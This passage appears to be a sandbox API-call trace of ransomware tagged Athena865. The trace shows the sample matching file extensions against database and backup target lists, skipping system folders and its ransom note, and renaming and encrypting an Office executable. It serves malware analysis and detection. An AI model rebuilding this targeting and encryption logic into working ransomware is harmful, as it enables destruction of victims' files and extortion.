[0078.111] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0078.111] lstrlenW (lpString="sql") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0078.111] lstrlenW (lpString="sqlite") returned 6 [0078.111] lstrcmpiW (lpString1="RE.EXE", lpString2="sqlite") returned -1 [0078.111] lstrlenW (lpString="sqlite3") returned 7 [0078.111] lstrcmpiW (lpString1="ORE.EXE", lpString2="sqlite3") returned -1 [0078.111] lstrlenW (lpString="sqlitedb") returned 8 [0078.112] lstrcmpiW (lpString1="TORE.EXE", lpString2="sqlitedb") returned 1 [0078.112] lstrlenW (lpString="xml") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0078.112] lstrlenW (lpString="$er") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0078.112] lstrlenW (lpString="4dd") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0078.112] lstrlenW (lpString="4dl") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0078.112] lstrlenW (lpString="^^^") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0078.112] lstrlenW (lpString="abs") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0078.112] lstrlenW (lpString="abx") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0078.112] lstrlenW (lpString="accdb") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accdb") returned 1 [0078.112] lstrlenW (lpString="accdc") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accdc") returned 1 [0078.112] lstrlenW (lpString="accde") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accde") returned 1 [0078.112] lstrlenW (lpString="accdr") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accdr") returned 1 [0078.112] lstrlenW (lpString="accdt") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accdt") returned 1 [0078.112] lstrlenW (lpString="accdw") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accdw") returned 1 [0078.112] lstrlenW (lpString="accft") returned 5 [0078.112] lstrcmpiW (lpString1="E.EXE", lpString2="accft") returned 1 [0078.112] lstrlenW (lpString="adb") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0078.112] lstrlenW (lpString="adb") returned 3 [0078.112] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0078.112] lstrlenW (lpString="ade") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0078.113] lstrlenW (lpString="adf") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0078.113] lstrlenW (lpString="adn") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0078.113] lstrlenW (lpString="adp") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0078.113] lstrlenW (lpString="alf") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0078.113] lstrlenW (lpString="ask") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0078.113] lstrlenW (lpString="btr") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0078.113] lstrlenW (lpString="cat") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0078.113] lstrlenW (lpString="cdb") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0078.113] lstrlenW (lpString="ckp") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0078.113] lstrlenW (lpString="cma") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0078.113] lstrlenW (lpString="cpd") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0078.113] lstrlenW (lpString="dacpac") returned 6 [0078.113] lstrcmpiW (lpString1="RE.EXE", lpString2="dacpac") returned 1 [0078.113] lstrlenW (lpString="dad") returned 3 [0078.113] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0078.113] lstrlenW (lpString="dadiagrams") returned 10 [0078.113] lstrlenW (lpString="daschema") returned 8 [0078.113] lstrcmpiW (lpString1="TORE.EXE", lpString2="daschema") returned 1 [0078.113] lstrlenW (lpString="db-journal") returned 10 [0078.113] lstrlenW (lpString="db-shm") returned 6 [0078.113] lstrcmpiW (lpString1="RE.EXE", lpString2="db-shm") returned 1 [0078.113] lstrlenW (lpString="db-wal") returned 6 [0078.113] lstrcmpiW (lpString1="RE.EXE", lpString2="db-wal") returned 1 [0078.114] lstrlenW (lpString="dbc") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0078.114] lstrlenW (lpString="dbs") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0078.114] lstrlenW (lpString="dbt") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0078.114] lstrlenW (lpString="dbv") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0078.114] lstrlenW (lpString="dbx") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0078.114] lstrlenW (lpString="dcb") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0078.114] lstrlenW (lpString="dct") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0078.114] lstrlenW (lpString="dcx") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0078.114] lstrlenW (lpString="ddl") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0078.114] lstrlenW (lpString="dlis") returned 4 [0078.114] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0078.114] lstrlenW (lpString="dp1") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0078.114] lstrlenW (lpString="dqy") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0078.114] lstrlenW (lpString="dsk") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0078.114] lstrlenW (lpString="dsn") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0078.114] lstrlenW (lpString="dtsx") returned 4 [0078.114] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0078.114] lstrlenW (lpString="dxl") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0078.114] lstrlenW (lpString="eco") returned 3 [0078.114] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0078.114] lstrlenW (lpString="ecx") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0078.115] lstrlenW (lpString="edb") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0078.115] lstrlenW (lpString="epim") returned 4 [0078.115] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0078.115] lstrlenW (lpString="fcd") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0078.115] lstrlenW (lpString="fdb") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0078.115] lstrlenW (lpString="fic") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0078.115] lstrlenW (lpString="flexolibrary") returned 12 [0078.115] lstrlenW (lpString="fm5") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0078.115] lstrlenW (lpString="fmp") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0078.115] lstrlenW (lpString="fmp12") returned 5 [0078.115] lstrcmpiW (lpString1="E.EXE", lpString2="fmp12") returned -1 [0078.115] lstrlenW (lpString="fmpsl") returned 5 [0078.115] lstrcmpiW (lpString1="E.EXE", lpString2="fmpsl") returned -1 [0078.115] lstrlenW (lpString="fol") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0078.115] lstrlenW (lpString="fp3") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0078.115] lstrlenW (lpString="fp4") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0078.115] lstrlenW (lpString="fp5") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0078.115] lstrlenW (lpString="fp7") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0078.115] lstrlenW (lpString="fpt") returned 3 [0078.115] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0078.115] lstrlenW (lpString="frm") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0078.116] lstrlenW (lpString="gdb") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0078.116] lstrlenW (lpString="gdb") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0078.116] lstrlenW (lpString="grdb") returned 4 [0078.116] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0078.116] lstrlenW (lpString="gwi") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0078.116] lstrlenW (lpString="hdb") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0078.116] lstrlenW (lpString="his") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0078.116] lstrlenW (lpString="ib") returned 2 [0078.116] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0078.116] lstrlenW (lpString="idb") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0078.116] lstrlenW (lpString="ihx") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0078.116] lstrlenW (lpString="itdb") returned 4 [0078.116] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0078.116] lstrlenW (lpString="itw") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0078.116] lstrlenW (lpString="jet") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0078.116] lstrlenW (lpString="jtx") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0078.116] lstrlenW (lpString="kdb") returned 3 [0078.116] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0078.116] lstrlenW (lpString="kexi") returned 4 [0078.116] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0078.116] lstrlenW (lpString="kexic") returned 5 [0078.116] lstrcmpiW (lpString1="E.EXE", lpString2="kexic") returned -1 [0078.116] lstrlenW (lpString="kexis") returned 5 [0078.116] lstrcmpiW (lpString1="E.EXE", lpString2="kexis") returned -1 [0078.117] lstrlenW (lpString="lgc") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0078.117] lstrlenW (lpString="lwx") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0078.117] lstrlenW (lpString="maf") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0078.117] lstrlenW (lpString="maq") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0078.117] lstrlenW (lpString="mar") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0078.117] lstrlenW (lpString="marshal") returned 7 [0078.117] lstrcmpiW (lpString1="ORE.EXE", lpString2="marshal") returned 1 [0078.117] lstrlenW (lpString="mas") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0078.117] lstrlenW (lpString="mav") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0078.117] lstrlenW (lpString="maw") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0078.117] lstrlenW (lpString="mdbhtml") returned 7 [0078.117] lstrcmpiW (lpString1="ORE.EXE", lpString2="mdbhtml") returned 1 [0078.117] lstrlenW (lpString="mdn") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0078.117] lstrlenW (lpString="mdt") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0078.117] lstrlenW (lpString="mfd") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0078.117] lstrlenW (lpString="mpd") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0078.117] lstrlenW (lpString="mrg") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0078.117] lstrlenW (lpString="mud") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0078.117] lstrlenW (lpString="mwb") returned 3 [0078.117] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0078.117] lstrlenW (lpString="myd") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0078.118] lstrlenW (lpString="ndf") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0078.118] lstrlenW (lpString="nnt") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0078.118] lstrlenW (lpString="nrmlib") returned 6 [0078.118] lstrcmpiW (lpString1="RE.EXE", lpString2="nrmlib") returned 1 [0078.118] lstrlenW (lpString="ns2") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0078.118] lstrlenW (lpString="ns3") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0078.118] lstrlenW (lpString="ns4") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0078.118] lstrlenW (lpString="nsf") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0078.118] lstrlenW (lpString="nv") returned 2 [0078.118] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0078.118] lstrlenW (lpString="nv2") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0078.118] lstrlenW (lpString="nwdb") returned 4 [0078.118] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0078.118] lstrlenW (lpString="nyf") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0078.118] lstrlenW (lpString="odb") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0078.118] lstrlenW (lpString="odb") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0078.118] lstrlenW (lpString="oqy") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0078.118] lstrlenW (lpString="ora") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0078.118] lstrlenW (lpString="orx") returned 3 [0078.118] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0078.118] lstrlenW (lpString="owc") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0078.119] lstrlenW (lpString="p96") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0078.119] lstrlenW (lpString="p97") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0078.119] lstrlenW (lpString="pan") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0078.119] lstrlenW (lpString="pdb") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0078.119] lstrlenW (lpString="pdm") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0078.119] lstrlenW (lpString="pnz") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0078.119] lstrlenW (lpString="qry") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0078.119] lstrlenW (lpString="qvd") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0078.119] lstrlenW (lpString="rbf") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0078.119] lstrlenW (lpString="rctd") returned 4 [0078.119] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0078.119] lstrlenW (lpString="rod") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0078.119] lstrlenW (lpString="rodx") returned 4 [0078.119] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0078.119] lstrlenW (lpString="rpd") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0078.119] lstrlenW (lpString="rsd") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0078.119] lstrlenW (lpString="sas7bdat") returned 8 [0078.119] lstrcmpiW (lpString1="TORE.EXE", lpString2="sas7bdat") returned 1 [0078.119] lstrlenW (lpString="sbf") returned 3 [0078.119] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0078.120] lstrlenW (lpString="scx") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0078.120] lstrlenW (lpString="sdb") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0078.120] lstrlenW (lpString="sdc") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0078.120] lstrlenW (lpString="sdf") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0078.120] lstrlenW (lpString="sis") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0078.120] lstrlenW (lpString="spq") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0078.120] lstrlenW (lpString="te") returned 2 [0078.120] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0078.120] lstrlenW (lpString="teacher") returned 7 [0078.120] lstrcmpiW (lpString1="ORE.EXE", lpString2="teacher") returned -1 [0078.120] lstrlenW (lpString="tmd") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0078.120] lstrlenW (lpString="tps") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0078.120] lstrlenW (lpString="trc") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0078.120] lstrlenW (lpString="trc") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0078.120] lstrlenW (lpString="trm") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0078.120] lstrlenW (lpString="udb") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0078.120] lstrlenW (lpString="udl") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0078.120] lstrlenW (lpString="usr") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0078.120] lstrlenW (lpString="v12") returned 3 [0078.120] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0078.121] lstrlenW (lpString="vis") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0078.121] lstrlenW (lpString="vpd") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0078.121] lstrlenW (lpString="vvv") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0078.121] lstrlenW (lpString="wdb") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0078.121] lstrlenW (lpString="wmdb") returned 4 [0078.121] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0078.121] lstrlenW (lpString="wrk") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0078.121] lstrlenW (lpString="xdb") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0078.121] lstrlenW (lpString="xld") returned 3 [0078.121] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0078.121] lstrlenW (lpString="xmlff") returned 5 [0078.121] lstrcmpiW (lpString1="E.EXE", lpString2="xmlff") returned -1 [0078.121] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE.Athena865") returned 63 [0078.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mstore.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mstore.exe.athena865"), dwFlags=0x1) returned 1 [0078.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mstore.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.123] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=131416) returned 1 [0078.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.123] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.124] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.124] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.124] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20460, lpName=0x0) returned 0x17c [0078.125] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20460) returned 0x170000 [0078.132] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.132] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.132] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.133] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0078.134] CloseHandle (hObject=0x17c) returned 1 [0078.134] CloseHandle (hObject=0x154) returned 1 [0078.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.135] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="..") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="windows") returned -1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="bootmgr") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="temp") returned -1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="pagefile.sys") returned -1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="boot") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="ids.txt") returned 1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="ntuser.dat") returned -1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="perflogs") returned -1 [0078.135] lstrcmpiW (lpString1="MSTORES.DLL", lpString2="MSBuild") returned 1 [0078.135] lstrlenW (lpString="MSTORES.DLL") returned 11 [0078.135] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSTORES.DLL" | out: lpString1="MSTORES.DLL") returned="MSTORES.DLL" [0078.135] lstrlenW (lpString="MSTORES.DLL") returned 11 [0078.135] lstrlenW (lpString="Athena865") returned 9 [0078.135] lstrcmpiW (lpString1="TORES.DLL", lpString2="Athena865") returned 1 [0078.136] lstrlenW (lpString=".dll") returned 4 [0078.136] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".dll") returned 1 [0078.136] lstrlenW (lpString=".lnk") returned 4 [0078.136] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".lnk") returned 1 [0078.136] lstrlenW (lpString=".ini") returned 4 [0078.136] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".ini") returned 1 [0078.136] lstrlenW (lpString=".sys") returned 4 [0078.136] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".sys") returned 1 [0078.136] lstrlenW (lpString="MSTORES.DLL") returned 11 [0078.136] lstrlenW (lpString="bak") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0078.136] lstrlenW (lpString="ba_") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0078.136] lstrlenW (lpString="dbb") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0078.136] lstrlenW (lpString="vmdk") returned 4 [0078.136] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0078.136] lstrlenW (lpString="rar") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0078.136] lstrlenW (lpString="zip") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0078.136] lstrlenW (lpString="tgz") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0078.136] lstrlenW (lpString="vbox") returned 4 [0078.136] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0078.136] lstrlenW (lpString="vdi") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0078.136] lstrlenW (lpString="vhd") returned 3 [0078.136] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0078.136] lstrlenW 